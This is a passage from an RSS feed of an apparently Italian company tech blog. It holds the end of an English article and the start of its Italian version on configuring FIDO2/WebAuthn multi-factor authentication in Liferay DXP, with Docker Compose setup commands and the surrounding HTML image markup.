        &lt;source srcSet=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/5a46d/user-login-via-FIDO-1.png 300w,/static/6cc998df79ea3e440f7f02cf67f99f59/0a47e/user-login-via-FIDO-1.png 600w,/static/6cc998df79ea3e440f7f02cf67f99f59/c1b63/user-login-via-FIDO-1.png 1200w,/static/6cc998df79ea3e440f7f02cf67f99f59/d61c2/user-login-via-FIDO-1.png 1800w,/static/6cc998df79ea3e440f7f02cf67f99f59/97a96/user-login-via-FIDO-1.png 2400w,/static/6cc998df79ea3e440f7f02cf67f99f59/6f969/user-login-via-FIDO-1.png 2518w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 14 - Verification of identity through the previously registered FIDO2 authenticator&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/c1b63/user-login-via-FIDO-1.png&quot; title=&quot;Figure 14 - Verification of identity through the previously registered FIDO2 authenticator&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 14 - Verification of identity through the previously registered FIDO2 authenticator&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;6-the-bonus&quot;&gt;6. The bonus&lt;/h2&gt;&lt;p&gt;I imagine having a Docker Compose availability with all services
configure that implements the scenario described, it is a nice bonus; you are from
same idea?&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/smclab/how-to-configure-fido2&quot;&gt;how-to-configure-fido2&lt;/a&gt;
project published on SMC&amp;#x27;s GitHub repository, it contains the Docker Compose and all
configurations that allow you to implement the scenario described in the course of
this article.&lt;/p&gt;&lt;p&gt;The services that make up the stack are listed below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/dxp&quot;&gt;Liferay DXP 7.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/_/postgres&quot;&gt;PostgreSQL&lt;/a&gt; (database per Liferay)&lt;/li&gt;&lt;li&gt;Server SMTP (servizio per l&amp;#x27;invio email)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://traefik.io/&quot;&gt;Traefik&lt;/a&gt; (Load Balancer)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The Liferay portal service is configured to be accessible through
Traefik on the https port and on the techblog.portal.local FQDN.&lt;/p&gt;&lt;p&gt;The steps needed to run the entire stack are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Check the Docker version (Docker Engine 20.10.x, Docker Compose 1.29.x)&lt;/li&gt;&lt;li&gt;Clone the &lt;a href=&quot;https://github.com/smclab/how-to-configure-fido2&quot;&gt;how-to-configure-fido2&lt;/a&gt; repository&lt;/li&gt;&lt;li&gt;Update the hosts file (of the host machine) with the entries for Liferay&lt;/li&gt;&lt;li&gt;Starting the stack via Docker Compose&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Regarding the Docker version, for this article we made use of
Docker Desktop for macOS version 4.8.0 (which includes Docker Engine 20.10.14 and
Docker Compose 1.29.2).&lt;/p&gt;&lt;p&gt;I still ran a test using Docker on Linux. Same version of Docker
used on macOS but with a lower Docker Compose version, that is, 1.28.6.
I didn&amp;#x27;t find any problems, the services stack was fine
pulled up.&lt;/p&gt;&lt;p&gt;I was unable to test on Windows; I leave it to some of you to run
this proof.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 - Check Docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 - Clone the project git repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/how-to-configure-fido2.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 - Update the /etc/hosts with this content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   techblog.portal.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 - Start the Docker Compose stack services (in fg o bg)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up -d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Starting the service stack via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Below is instead available the video that shows the entire setup of the portal
Liferay that we saw in the course of the article.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/V_D4j2T7xqw&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;6-conclusion&quot;&gt;6. Conclusion&lt;/h2&gt;&lt;p&gt;During the speech &lt;a href=&quot;https://liferaybootcamp.smc.it/it/materiali-liferay-boot-camp-2022/-/categories/717266?p_r_p_resetCur=true&amp;amp;p_r_p_categoryId=717266&quot;&gt;&lt;strong&gt;Liferay Authentication: How to create a Token-based SSO system&lt;/strong&gt;&lt;/a&gt;,
we got to see the possibilities that Liferay offers about the mechanisms
of authentication and the extension modalities that allow to develop the
own solutions.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Attention!&lt;/strong&gt; You can download all the material of the
Liferay Boot Camp 2022 by following the link &lt;a href=&quot;https://bit.ly/download-materials-lrbc22&quot;&gt;https://bit.ly/download-materials-lrbc22zegovina&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/be71779cf2898cefd0a02e2fa935e549/29114/banner-scarica-materiali-tech-blog-BC2022-it.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:25.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;101\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20101\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M166%2025c-7%201-9%2012-4%2017%203%203%203%203%209%203h6l1-5c1-3%202-6%201-7%200-3-5-8-7-8h-6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/be71779cf2898cefd0a02e2fa935e549/c85cb/banner-scarica-materiali-tech-blog-BC2022-it.webp 300w,/static/be71779cf2898cefd0a02e2fa935e549/e88ff/banner-scarica-materiali-tech-blog-BC2022-it.webp 600w,/static/be71779cf2898cefd0a02e2fa935e549/92f8c/banner-scarica-materiali-tech-blog-BC2022-it.webp 1200w,/static/be71779cf2898cefd0a02e2fa935e549/62ed8/banner-scarica-materiali-tech-blog-BC2022-it.webp 1800w,/static/be71779cf2898cefd0a02e2fa935e549/882b9/banner-scarica-materiali-tech-blog-BC2022-it.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/be71779cf2898cefd0a02e2fa935e549/5a46d/banner-scarica-materiali-tech-blog-BC2022-it.png 300w,/static/be71779cf2898cefd0a02e2fa935e549/0a47e/banner-scarica-materiali-tech-blog-BC2022-it.png 600w,/static/be71779cf2898cefd0a02e2fa935e549/c1b63/banner-scarica-materiali-tech-blog-BC2022-it.png 1200w,/static/be71779cf2898cefd0a02e2fa935e549/d61c2/banner-scarica-materiali-tech-blog-BC2022-it.png 1800w,/static/be71779cf2898cefd0a02e2fa935e549/29114/banner-scarica-materiali-tech-blog-BC2022-it.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;You can download all the material of the Liferay Boot Camp 2022 from https://bit.ly/download-materials-lrbc22&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/be71779cf2898cefd0a02e2fa935e549/c1b63/banner-scarica-materiali-tech-blog-BC2022-it.png&quot; title=&quot;You can download all the material of the Liferay Boot Camp 2022 from https://bit.ly/download-materials-lrbc22&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;You can download all the material of the Liferay Boot Camp 2022 from https://bit.ly/download-materials-lrbc22&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;In the course of this article we have instead seen in detail how to configure
and use the &lt;em&gt;Multi-factor Authentication&lt;/em&gt;, authentication mechanism
supported OOTB (Out Of The Box) from DXP edition. Use of the
&lt;em&gt;Security Tocken (hardware)&lt;/em&gt; is a second authentication factor, that is, after
the user has entered the username and password pair correctly. Through
appropriate extensions from develop, it would be possible to make access to
the Liferay portal completely *password-less and this could be the subject of
another article.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Come configurare Liferay per l'autenticazione tramite FIDO2]]></title><link>https://techblog.smc.ithow-to-configure-liferay-authentication-fido2</link><guid isPermaLink="false">https://techblog.smc.ithow-to-configure-liferay-authentication-fido2</guid><pubDate>Mon, 23 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Al decimo &lt;a href=&quot;https://liferaybootcamp.smc.it/it/agenda&quot;&gt;Liferay Boot Camp 2022&lt;/a&gt; è
stato trattato il tema su ciò che Liferay offre in termini di sicurezza e come
realizzare le proprie soluzioni sfruttando il framework che Liferay mette a
nostra disposizione. &lt;/p&gt;&lt;p&gt;Restando quindi in tema di sicurezza, in questo articolo affronteremo come
abilitare la &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Multi-factor_authentication&quot;&gt;Multi-Factor Authentication (MFA)&lt;/a&gt;&lt;/strong&gt;
configurando in particolare l&amp;#x27;uso di &lt;a href=&quot;https://fidoalliance.org/fido2/&quot;&gt;&lt;strong&gt;FIDO2 (Fast Identity Online 2)&lt;/strong&gt;&lt;/a&gt;
con &lt;u&gt;l&amp;#x27;obiettivo di poter accedere al portale tramite il proprio dispositivo
(token hardware)&lt;/u&gt;.&lt;/p&gt;&lt;p&gt;Nell&amp;#x27;ordine vedremo:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Cos&amp;#x27;è FIDO2&lt;/li&gt;&lt;li&gt;Le due fasi di WebAuthn&lt;/li&gt;&lt;li&gt;Quali sono i requisiti per usare FIDO2&lt;/li&gt;&lt;li&gt;Configurazione Multi-Factor Authentication per FIDO2&lt;/li&gt;&lt;li&gt;Procedura di registrazione dell&amp;#x27;authenticator&lt;/li&gt;&lt;li&gt;Test di autenticazione con FIDO2&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Leggendo questo articolo fino alla fine, dovreste poi essere in grado di
aggiungere senza difficoltà, l&amp;#x27;ulteriore fattore di autenticazione al normale
processo di login tramite username e password.&lt;/p&gt;&lt;p&gt;Come di consueto lascerò il bonus di fine articolo, ovvero, il riferimento
GitHub del progetto che consentirà a voi di ricreare lo scenario che andremo a
descrivere. Troverete inoltre un breve filmato che mostra tutte le attività che
sono state eseguite sul portale Liferay.&lt;/p&gt;&lt;h2 id=&quot;1-cosè-fido2-webauthn--ctap&quot;&gt;1. Cos&amp;#x27;è FIDO2: WebAuthn &amp;amp; CTAP&lt;/h2&gt;&lt;p&gt;FIDO2 è uno standard aperto (lanciato da &lt;a href=&quot;https://fidoalliance.org/overview/&quot;&gt;FIDO Alliance e W3C&lt;/a&gt;)
il cui obiettivo è quello di offrire un metodo di autenticazione senza password
(o &lt;em&gt;password-less&lt;/em&gt;) per il login sicuro nell&amp;#x27;ambito dell&amp;#x27;autenticazione web,
utilizzando &lt;em&gt;hardware verificato&lt;/em&gt; per l&amp;#x27;identificazione degli utenti.&lt;/p&gt;&lt;p&gt;Con FIDO2 l&amp;#x27;autenticazione avviene tramite un dispositivo attendibile, che in
termini tecnici è denominato &lt;strong&gt;autenticatore&lt;/strong&gt;. La connessione tra
l&amp;#x27;autenticatore e il browser può essere stabilita in diversi modi, come per
esempio: Bluetooth, USB o NFC. Questi dispositivi possono essere di vario tipo
e in genere:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Chiavette USB come quelle prodotte da &lt;a href=&quot;https://www.yubico.com/products/yubikey-5-overview/&quot;&gt;Yubico&lt;/a&gt; e &lt;a href=&quot;https://www.onespan.com/products/hardware-authentication/digipass-secureclick&quot;&gt;SecureClick&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Smart Card (anche contactless) come &lt;a href=&quot;https://fidoalliance.org/showcase/wega-3dsa-acoustic-card/&quot;&gt;Wega 3DSA 2.0 Acoustic Card&lt;/a&gt; certificata dalla FIDO Alliance&lt;/li&gt;&lt;li&gt;Chip &lt;a href=&quot;https://en.wikipedia.org/wiki/Trusted_Platform_Module&quot;&gt;&lt;strong&gt;Trusted Platform Module&lt;/strong&gt;&lt;/a&gt; (TPM) già integrati nella maggior parte degli smartphone, laptop e PC&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;FIDO2 combina la specifica &lt;a href=&quot;https://www.w3.org/2022/04/webauthn-wg-charter.html&quot;&gt;W3C Web Authentication (WebAuthn)&lt;/a&gt;
e i protocolli &lt;a href=&quot;https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps-20210615.html&quot;&gt;Client to Authenticator (CTAP)&lt;/a&gt;
della FIDO Alliance.&lt;/p&gt;&lt;p&gt;Il protocollo CTAP risiede al livello dell&amp;#x27;applicazione ed è responsabile della
comunicazione sicura tra il &lt;em&gt;dispositivo hardware verificato&lt;/em&gt;
(o &lt;strong&gt;autenticatore&lt;/strong&gt;) e il client/piattaforma (solitamente il browser) nonchè
garantire la trasparenza rispetto al metodo di connessione che può essere USB,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Near-field_communication&quot;&gt;NFC&lt;/a&gt;
(Near-Field Communication) o Bluetooth. &lt;/p&gt;&lt;p&gt;Il protocollo WebAuthn, invece, rende possibile l&amp;#x27;autenticazione definendo il
processo con cui le applicazioni web possono integrare la crittografia a chiave
pubblica/privata (o asimmetrica) in un browser. Ciò si verifica quando
comunicano tramite protocollo CTAP con l&amp;#x27;autenticatore (modulo TPM o chiavetta
USB).&lt;/p&gt;&lt;p&gt;Questa API permette ai &lt;em&gt;Relying Parties&lt;/em&gt; (o Service Providers) di registrare e
autenticare gli utenti attraverso un processo di crittografia asimmetrica,
quest&amp;#x27;ultima molto sicura, anziché attraverso un classico processo di
autenticazione tramite username e password.&lt;/p&gt;&lt;p&gt;Lo standard FIDO2 è attualmente supportato da Windows 10, Android e dai web
browsers Google Chrome, Mozilla Firefox, Microsoft Edge e Apple Safari. &lt;/p&gt;&lt;p&gt;Potremmo quindi riassumere le principali caratteristiche di FIDO2 in:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Autenticazione con chiavi hardware esterne o integrate (vedi &lt;a href=&quot;https://www.biometricupdate.com/202006/apple-launches-web-authentication-using-fido-standard-with-touch-id-or-face-id-biometrics-in-safari&quot;&gt;Apple launches web authentication using FIDO standard with Touch ID or Face ID biometrics in Safari&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Autenticazione a due fattori&lt;/li&gt;&lt;li&gt;Crittografia a chiave pubblica/privata asimmetrica;&lt;/li&gt;&lt;li&gt;Autenticatore archiviato localmente&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Lascio a voi gli approfondimenti sull&amp;#x27;argomento, partendo dalla lettura del
documento &lt;a href=&quot;https://fidoalliance.org/how-fido-works/&quot;&gt;How FIDO Works&lt;/a&gt; pubblicato sul portale della FIDO Alliance.&lt;/p&gt;&lt;h2 id=&quot;2-le-due-fasi-di-webauthn&quot;&gt;2. Le due fasi di WebAuthn&lt;/h2&gt;&lt;p&gt;Il protocollo WebAuthn prevede essenzialmente due fasi, che sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Il flusso di registrazione delle credenziali&lt;/li&gt;&lt;li&gt;Il flusso di autenticazione delle credenziali&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In un flusso di registrazione utente basato su password, all&amp;#x27;utente viene
presentato un modulo che richiede una username e una password, quest&amp;#x27;ultima è
poi inviata al server per l&amp;#x27;archiviazione.&lt;/p&gt;&lt;p&gt;In WebAuthn, &lt;strong&gt;&lt;em&gt;un server deve fornire dati che associano un utente a una credenziale (una coppia di chiavi privata-pubblica)&lt;/em&gt;&lt;/strong&gt;;
questi dati includono identificatori per l&amp;#x27;utente e l&amp;#x27;organizzazione
(noto anche come Relying Party). Il sito Web utilizzerà quindi l&amp;#x27;API di
WebAuthn per richiedere all&amp;#x27;utente di creare una nuova coppia di chiavi.
È importante sapere che abbiamo bisogno di una stringa generata casualmente
dal server come sfida (o challenge) al fine di prevenire attacchi. &lt;/p&gt;&lt;p&gt;Il dialogo mostrato a seguire rende esattamente l&amp;#x27;idea del flusso di
registrazione delle credenziali WebAuthn descritto in precedenza.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:791px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:95%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;380\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20380\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M256%2055l-1%203c0%206%206%205%207-1%201-2%201-2%201%200%200%204%201%205%207%205h5l-1-3c0-2%200-3%202-3l1%203c-1%203-1%203%201%203s2%200%201-3c-1-5-1-5-4-5s-4%200-3%203l-1%203-1-3-1-3c-1%200-2%201-1%203l-1%203-2-3c0-2-1-3-4-3l-5%201M21%2098v39h51V97H47l-26%201m171%2012l-2%203-3%203c-1%202-1%202-1%200%200-3-1-4-4-4s-3%200-3%204l1%204c2%200%202-1%201-3%200-2%200-3%202-3l1%203c-1%202-1%203%201%203l2-1h1l4%201c2%200%203%200%203-2l-1-5-1-4-1%201m64%2049c-5%206%200%2016%208%2015%202-1%203%200%206%203l5%203c2-2%201-5-2-7-2-3-3-4-3-7%200-8-8-12-14-7m21-1c-7%204-4%2015%205%2015%203%200%205%201%207%204%206%206%2010%202%204-4-3-2-4-4-4-7%200-7-6-11-12-8m-193%205c-3%206-4%209-2%209l2-1%201-2%202%201c0%202%201%202%206%202s6%200%206-2l-1-5-1-4-1%205-1%205-1-5c0-4%200-5-2-5s-2%200-1%201v8l-3-4c-2-5-3-6-4-3m90%200v9h23l-2%201-2%201%203%201c2%200%203-1%203-6s0-5-3-5c-2%200-3%200-4%203-1%204-1%205-1%202%200-4-1-5-5-5-2%200-3%200-3%203v3l-1-2-2-4c-1%200-2%201-1%204l-1%203-2-4-1-5-1%201m-46%2026l2%204v6c1%200%203-2%203-5%203-5%204-5%204%201l1%204c1%200%202-1%201-2l1-1c3%202%205-4%203-7-2-2-11-1-11%200v3l-1-2-1-2-2%201m-39%2052c-3%203-2%205%200%208%205%205%201%205-7%200l-7-4c-1-1-1%201-1%2010v12h38v-23l-7%205c-9%205-14%206-8%200l2-4c0-6-7-8-10-4m-69%2069l1%2020v10l1-7%201-5v3c0%202%204%206%206%206l5%201-5%201%2018%201h25v-40H20v10m96%202c-4%200-5%201-5%202l2%201c1-1%201%200%201%203-1%204%200%205%201%205s2-1%201-5c0-4%200-4%202-4h2c1-1%201%200%201%204-1%204%200%205%201%205s2-1%202-3l1-2v2c0%203%200%203%206%203h5v-4c0-3-1-3-3-3l-4%201c0%204%200%204-1%202%200-3-1-4-3-4l-2-2-1-2-6%201m31%204c0%205-1%207-2%202-1-3-1-3-4-3s-4%200-4%204v4h9c8%200%209-1%206-3-1-1-1-1%201-3%201-2%201-2-1-2l-2%201c-1%201-1%200-1-2l-1-3c-1%200-2%201-1%205m23%202l1%205c2%200%202-1%201-2l1-3%202%203c1%202%203%203%203%201h2l4%201c1-1%201-1-1-2s-2-1%200-1c2-1%203-4%200-5-2-1-4%201-5%204l-1%201v-4c0-3-2-4-5-4-2%200-2%200-2%206m93-1c-1%202%200%205%202%206%203%200%205-2%205-5v-2l1%202v4c-1%201%200%201%206%201%207%200%207%200%207-2-2-7-1-6-11-6-7%200-9%201-10%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a3746fd079148b837c02020e0c8d33e7/c85cb/webauthn-credential-register-flow.webp 300w,/static/a3746fd079148b837c02020e0c8d33e7/e88ff/webauthn-credential-register-flow.webp 600w,/static/a3746fd079148b837c02020e0c8d33e7/5f564/webauthn-credential-register-flow.webp 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a3746fd079148b837c02020e0c8d33e7/5a46d/webauthn-credential-register-flow.png 300w,/static/a3746fd079148b837c02020e0c8d33e7/0a47e/webauthn-credential-register-flow.png 600w,/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Flusso di registrazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png&quot; title=&quot;Figura 1 - Flusso di registrazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Flusso di registrazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Al termine della registrazione, l&amp;#x27;utente potrà essere autenticato.
&lt;strong&gt;&lt;em&gt;Durante l&amp;#x27;autenticazione sarà creata un&amp;#x27;asserzione, che è la prova che l&amp;#x27;utente è in possesso della chiave privata&lt;/em&gt;&lt;/strong&gt;.
Questa asserzione contiene una firma (o signature) creata utilizzando la chiave
privata. &lt;u&gt;Il server utilizza la chiave pubblica recuperata durante la
registrazione per verificare questa firma&lt;/u&gt;.&lt;/p&gt;&lt;p&gt;Il dialogo mostrato a seguire rende esattamente l&amp;#x27;idea del flusso di
autenticazione delle credenziali WebAuthn descritto in precedenza.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:791px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:126.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;506\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20506\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M127%2047l1%202v2c-2%203%200%204%208%203h7l-1-4c0-3-1-4-4-4s-3%200-2%203l-1%203c-1%201-1%200-1-1%200-4-5-7-7-4m67%2055l-1%205c-2-1-3-4-1-5v-2c-2-3-4%200-3%203%200%204%201%205%205%206%203%200%203-1%203-3l1-4%201%203c0%203%200%203%203%204l5-1h6c1-2%201-2-1-4s-2-2%200-1c3%200%203-2%200-3-3%200-5%202-4%204v2c-2%201-2%201-2-2l-2-4v3l-1%204c-1%200-2-1-2-3%200-3-1-4-3-4l-2-2-1-1-1%205m-25-1v8c0%203%203%203%205%201l6-2c4%201%204%200%202-7h-6v4c0%202%200%202-1-1%200-3-3-5-6-3M35%20126c0%2013%201%2015%201%2010%200-8%201-8%202-6s1%203%202%202l1%201v1h1v1h1v1h1v1l5%205%2029%202c1-1%202-2%202-18v-17H35v17m238%207l1%2013h46v-26l-6%204c-6%204-6%204-16%204h-9l8%201c10%200%2011%202%200%2